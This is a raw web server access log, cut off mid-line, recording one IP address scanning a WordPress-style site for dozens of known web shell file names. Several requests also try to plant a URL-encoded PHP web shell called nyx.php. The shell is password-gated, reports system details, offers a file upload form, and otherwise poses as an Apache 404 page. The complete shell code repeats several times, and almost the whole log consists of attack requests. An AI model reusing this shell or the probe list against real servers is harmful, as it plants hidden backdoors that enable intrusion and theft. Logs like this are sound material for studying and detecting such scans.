170.39.194.53 - - [19/Jan/2025:18:41:34 +0530] "GET /wp-content/up.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:34 +0530] "GET /wp-admin.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:35 +0530] "GET /wp-includes/images/wlw/shellwso.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:36 +0530] "GET /kevinpngjpg.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:37 +0530] "GET /libraries/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 262 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:39 +0530] "GET /moduless.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:40 +0530] "GET /wp-includes/pomo/class-wp-sitemap-mna.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:40 +0530] "GET /bypass.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:42 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:41:42 +0530] "GET /2index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:42 +0530] "GET /mar.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:42 +0530] "GET /c99.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:42 +0530] "GET /images/ave.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:42 +0530] "GET /kevindepzai.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:44 +0530] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 302 274 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:44 +0530] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:44 +0530] "GET /templates/protostar/index.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:44 +0530] "GET /wp-includes/wp-class.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:45 +0530] "GET /new-index.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:47 +0530] "GET /kiss.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:48 +0530] "GET /wp-content/themes/twentytwentyone/content-index.php HTTP/1.1" 302 271 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:49 +0530] "GET /xmlrpc.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:49 +0530] "GET /wp-includes/wso112233.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:49 +0530] "GET /wp-includes/images/media/xwsoooo.php HTTP/1.1" 302 256 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:50 +0530] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 302 269 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:50 +0530] "GET /MARIJUANA.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:51 +0530] "GET /snd.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:51 +0530] "GET /wp-one.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:51 +0530] "GET /unix.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:52 +0530] "GET /wp-admin/images/preg_class.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:52 +0530] "GET /demo328/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:54 +0530] "GET /tuco.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:56 +0530] "GET /wp-admin/includes/maint/wp-readindex.php HTTP/1.1" 302 260 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:41:56 +0530] "GET /wp-content/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 263 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:41:57 +0530] "GET /alfa123.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:41:57 +0530] "GET /1index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:58 +0530] "GET /upel.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:41:59 +0530] "GET /wp-includes/images/wlw/wp-signup.php HTTP/1.1" 302 256 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:41:59 +0530] "GET /ne.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:00 +0530] "GET /srx.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:00 +0530] "GET /7.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:00 +0530] "GET /s_e.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:00 +0530] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 302 266 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:00 +0530] "GET /wp-blog.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:00 +0530] "GET /wp-class.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wp-admin/js/widgets/wp-contact.php HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wp-includes/widgets/class-wp-widget-tags.php HTTP/1.1" 302 264 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wikindex.php HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wp-confiig.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /.wp-cache.php HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wp-includes/css/class.enhanced.php HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 302 258 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wp-admin/includes/class-wp-pagebuilders-2myLvx.php HTTP/1.1" 302 270 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /.alf.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wp-includes/sys.php HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wp-includes/images/media/shellwso.php HTTP/1.1" 302 257 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:01 +0530] "GET /wp-includes/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 264 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:02 +0530] "GET /xleet.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:04 +0530] "GET /x.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:04 +0530] "GET /Marvins.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:04 +0530] "GET /file-manager.php HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:04 +0530] "GET /olu.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:04 +0530] "GET /xmlrpcs.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:04 +0530] "GET /t.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:05 +0530] "GET /7yn.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:06 +0530] "GET /templates/+theme+/error.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:07 +0530] "GET /haxor.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:07 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:07 +0530] "GET /i.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:07 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:08 +0530] "GET /xz.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:09 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:09 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:09 +0530] "GET /b.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:09 +0530] "GET 